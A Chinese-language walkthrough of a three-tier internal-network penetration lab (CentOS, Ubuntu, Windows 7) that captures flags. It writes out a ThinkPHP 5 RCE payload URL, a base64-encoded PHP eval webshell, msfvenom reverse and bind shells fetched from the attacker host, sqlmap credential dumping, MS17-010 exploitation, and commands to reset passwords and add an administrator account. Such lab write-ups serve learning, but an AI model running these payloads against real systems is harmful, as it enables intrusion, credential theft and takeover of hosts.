CFS三层靶机-内网环境渗透
<1>靶场介绍及环境配置
三个主机的网络环境拓扑图,攻击机的网段在192.168.236.0/24,三台靶机的IP地址分别如图:
上面的 Target1、2、3分别对应CentOS7、Ubuntu、Windows7 三台主机。
(1)网卡配置
注意:在编辑虚拟网卡的时候,不要勾选红圈那个选项,否则后面代理就就没有意义了。.ova文件导入到VM之后可以打开虚拟机,使用root:teamssix.com登录主机,通过ifconfig检查网络情况是否正常。
(2)宝塔配置
其中Target1和Target2主机需要我们自己去宝塔后台配置一下(靶机描述信息里有密码 root:teamssix.com):
进入宝塔面板,选择网站,再点击网站名,将centos靶机中c段为236的那个ip添加进去,确保能够访问到对应的web页面
<2>Target1
(1)nmap扫描存活主机
#扫描段内存活主机
┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.236.0/24
Nmap scan report for 192.168.236.141 (192.168.236.141)
Host is up (0.00019s latency).
#nmap扫描一下 Target1 开放的服务
┌──(root㉿kali)-[~]
└─# nmap -A -p 1-65535 192.168.236.141
Nmap scan report for 192.168.236.141 (192.168.236.141)
Host is up (0.00082s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http nginx
111/tcp open rpcbind 2-4 (RPC #100000)
888/tcp open http nginx
3306/tcp open mysql MySQL (unauthorized)
8888/tcp open http Ajenti http control panel
MAC Address: 00:0C:29:61:BA:F8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
可以看见开放了 21、22、80、111等等端口,我们访问一下80的http服务
访问192.168.236.141 站点不存在,192.168.236.141/index.php 404 是因为宝塔后台配置的原因,按照前面提到的宝塔配置之后就不会出现这个情况。
(2)利用thinkphp-5.0.22 RCE漏洞拿shell
访问80端口开放的http服务
访问后发现这是一个用thinkphp5版本搭建的网站,thinkphp5版本是有漏洞的,这里我们直接上thinkphpGUI工具,检测一下,发现存在ThinkPHP 5.0.22/5.1.29 RCE
poc为:http://192.168.236.141/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
直接GetShell没通,无伤大雅,那我们执行命令去生成一个一句话木🐎(执行反弹shell命令也可)
echo "<?php eval($_POST['1vxyz']); ?>" > shell.php
但是蚁剑连接失败,查看一下shell.php 发现内容中$_POST被过滤了
这个好说,base64加密绕过
echo "PD9waHAgZXZhbCgkX1BPU1RbJzF2eHl6J10pOyA/Pg==" | base64 -d > shell.php
成功写入一句话木🐎,蚁剑连接
在 flag21sA.txt和robots.txt 得到了两个flag
拿到shell之后,执行ifconfig,发现了另一个22网段ip:192.168.22.130。肯定就存在内网了
(3)上传msf后门(reverse_tcp)反向连接拿主机权限
既然存在内网,那就要拿出来我们的msf美少妇工具了
首先利用 msfevnom 生成一个msf后门,即elf的🐎
# 生成msf后门 其中lhost为kali_ip
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.236.128 lport=4444 -f elf > shell.elf
#kali里python开一个http服务 用于蚁剑 wget下载 msf后门
python -m http.server 8888
# 蚁剑进入到可以下载文件的 /tmp目录
wget http://192.168.236.128:8888/shell.elf
# 赋予执行权限
chmod +x shell.elf
#在kali中运行监听模块
root@kali:~# msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.236.128
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run
#然后回到蚁剑 /tmp下 ./执行 elf木马
./shell.elf
到这里我们的Target1:centos靶机已经上线 msf 了,下面开始内网渗透
<3>Target2
现在还不能直接去nmap扫描内网里的ubuntu靶机ip,因为我们的网段设置,这里扫描是用的kali的ip扫描,模拟的环境中kali和centos是NAT下的同一个网段的公网主机,所以可以直接扫到,而现在扫的属于内网网段。 但是我们知道刚打下的centos是内网里的,因此我们需要挂上centos靶机的代理。
(1)路由信息探测
我们使用msf自带的 探测网络接口的模块(get_local_subnets)查看路由的模块(autoroute -p)来进一步进行信息探测
# 获取本地所在子网信息,可以看到存在22网段
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.22.0/255.255.255.0
Local subnet: 192.168.236.0/255.255.255.0
# 查看路由信息,会发现还没有路由
meterpreter > run autoroute -p
[*] No routes have been added yet
路由:路由是指路由器从一个接口上收到数据包,根据数据包的目的地址进行定向并转发到另一个接口的过程,就相当于把我们要传输的数据先传输到该路由,再发往目标,我们可以通过设置路由的方式把我们的请求从centos网段发出,这样msf不就可以与22网段互通有无了吗),所以我们要来添加一个路由(autoroute -s)
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了
#通过meterpreter添加22网段的路由信息,这样kali与centos就可以互通了
run autoroute -s 192.168.22.0/24
run autoroute -p
#这一步也可以使用run post/multi/manage/autoroute自动添加路由
run post/multi/manage/autoroute
(2)msf的代理配置
路由还有一个缺陷,它只能在这个msf建立的会话上使用,假如我们新开一个终端使用nmap扫描,还是扫不到,所以我们需要去进行 msf的代理配置。
msf有自己的代理模块,就是 auxiliary/server/socks_proxy ,我们先来开启代理服务,srvport端口随便,没被占用就行
# 先切到控制台
background
# 配置socks5代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show options
msf6 auxiliary(server/socks_proxy) > set srvport 2222
msf6 auxiliary(server/socks_proxy) > run
在kali中,通过vim /etc/proxychains4.conf修改proxychains配置文件:
写入: kali的ip和刚刚设置的端口
socks5 192.168.236.128 2222
扫描靶机2 ubuntu的ip及其服务
可以用nmap扫描存活主机,也可以利用msf进行第二层网络存活主机扫描:
use auxiliary/scanner/discovery/arp_sweep
root@kali:~# proxychains4 nmap -Pn -sT 192.168.22.129 -p80
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect
能探测乌班图的端口,说明代理配置成功(前面的终端页面都不要关,路由必须设置才可以成功)
访问80端口开放的http服务,设置好浏览器代理后,访问看看
显示站点不存在,ubuntu这个靶机也需要去宝塔,把c段为22的 192.168.236.129添加进去
(3)利用bagecms-sql注入漏洞,admin登录后台拿shell
配置完毕后访问,是一个bagecms搭建的平台
源码中给出了sql注入提示:Hint:SQL注入点:/index.php?r=vul&keyword=1
/robots.txt 也给出了admin登录点 : /admini
靶场,不用在意那么多,直接sqlmap一把梭,因为需要挂代理才能访问到,所以命令前需要加上 proxychains4,同样 sqlmap也可以用参数 --proxy=socks5://192.168.236.128:2222
keyword为注入点,所以可以在执行时加上 -p keyword 更快一点
# 爆一下数据库名称
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword --dbs
或
sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --proxy=socks5://192.168.236.128:2222 -p keyword --dbs --batch
# 爆破 bagecms 库下的表
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D "bagecms" --tables T "bage_admin" --batch
# 爆破 bage_admin 表的字段
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D "bagecms" -T "bage_admin" --columns --batch
# 把 admin的账号密码给 dump出来
proxychains4 sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了
拿到admin的账号和密码 admin:123qwe
登录CMS的后台看一看有些什么,/index.php?r=/admini/
在首页就发现了flag
在模板一栏可以修改文件,在 tag/index.php 写入一句话🐎:
提交之后,打开蚁剑,设置代理 socks5为 kaliip为192.168.236.128 port为2222
也可以用 Sockscap挂上msf开启的socks5代理 在里面添加蚁剑程序打开蚁剑
注意这里的网址使用的是模块化,不能直接加在网站上,要用?r=模块文件 的方式访问模块文件,再用蚁剑连接
测试连接,写入成功
(3)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限
然后和前面target1差不多,msf生成后门,上传到蚁剑 www/wwwroot/upload那个目录。不能通过wget了,好像是代理设置的原因,我是直接kali里生成,下载到windows上,然后上传文件上传上去的
# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
# 蚁剑中 uname -a 可以看到这是一个64位的linux系统
msfvenom -p linux/x64/meterpreter/bind_tcp lport=3333 -f elf > shell2.elf
# 后门程序上传之后在Webshell执行命令
chmod +x shell2.elf
./shell2.elf
在MSF中开启监听,与Target2建立连接,这里需要注意,上一次代理使用的reverse_tcp是MSF作为监听,让Target1连到我们,而这次代理使用的bind_tcp是Target2作为监听,我们需要连到Target2,这个逻辑正好是相反的
同样,如果我们要用msf 另起一个终端开启监听,这里要注意,msf新开的终端之前的那个终端的配置都用不了。
然而这次代理使用的bind_tcp是Target2作为监听,我们要正向连接到内网里的target2,所以不能直接msfconsole打开,msf这里也需要走代理 ,就是在用 proxychains msfconsole来启动msf,再设置payload,设置rhost,lport run 即可开启监听 ......有点套娃
可以参考这个图好理解一些:
实际上继续用那个终端就行
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.129
set LPORT 3333
run
shell
# 转化为交互式
python -c 'import pty;pty.spawn("/bin/bash");'
# 查看网络信息
ifconfig
信息搜集,ifconfig看到了c段为33 的ip,还存在一个内网
还有一层内网? 继续 msf,下面的操作就有点重复之前的操作了 确定内网c段 -> msf添加路由
<4>Target3
(1)路由信息探测
与之前一样,我们添加Target3的路由,由于还在那个终端里,auxiliary/server/socks_proxy正在执行,所以添加了新路由,也就可以访问新路由内网,这里就不用设置代理了,直接添加路由即可
#通过meterpreter添加33网段的路由信息,这样kali与ubuntu就可以互通了
run autoroute -s 192.168.33.0/24
run autoroute -p
nmap扫描一下target3靶机开放的服务
能探测乌班图的端口,说明代理配置成功(前面的终端页面都不要关,路由必须设置才可以成功)
(2)利用ms17-010永恒之蓝漏洞拿shell
必须添加路由。
可以看到 target3是 开放着445、3389端口的Win7系统,熟悉的永恒之蓝。msf里现成的ms17-010打一下
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run
ms17-010漏洞利用成功,shell进入命令行
netstat -ant
发现网站开启了3389,同时是system权限:
还看见了我们的shell....
查看账户,直接修改账户密码。利用3389连接 或者 添加一个用户
net user administrator 123456
或
net user /add 1vxyz 123456
net localgroup administrators /add 1vxyz
win+r mstsc 打开远程桌面连接。在SocksCap中运行连接远程桌面程序mstsc.exe才可以,这里我电脑上没找到。还有一种方法
portfwd端口转发/映射
portfwd add -l 5555 -p 3389 -r 192.168.33.33
Win+r 输入mstsc
最后的flag就在这台win7的桌面上,至此靶场打穿,三个flag拿到
<5>总结
从最初的下载靶机,开启 到现在结束,断断续续统共花费了很多个小时。期间 连开四台虚拟机,有电脑卡的蓝屏动不了关机... 也有对宝塔配置、内网知识的不了解,跟着wp走却访问不了。还有途中不断解决问题时session一直掉,最后一步的远程桌面没打开等等。到后面一步一步啃完,也是学到了很多东西。
0.0 渗透小白终于打破 天天听说却不知道是什么东西,害怕没搞过搞不下来的想法,打下了第一个简单的内网靶场。后续抽时间继续深入学习,万事开头难,希望是一个好兆头,加油!
学到用到的一些东西:
- thinkphp-GUI,sqlmap工具
- msf后门制作 & msf 正向反向shell
- 路由的概念
- msf内网代理模块 & sockscap64代理工具
- ms17-010漏洞
- 跳板攻击之msf-portfwd端口转发
- 3389远程桌面登录
参考:内有靶机环境下载地方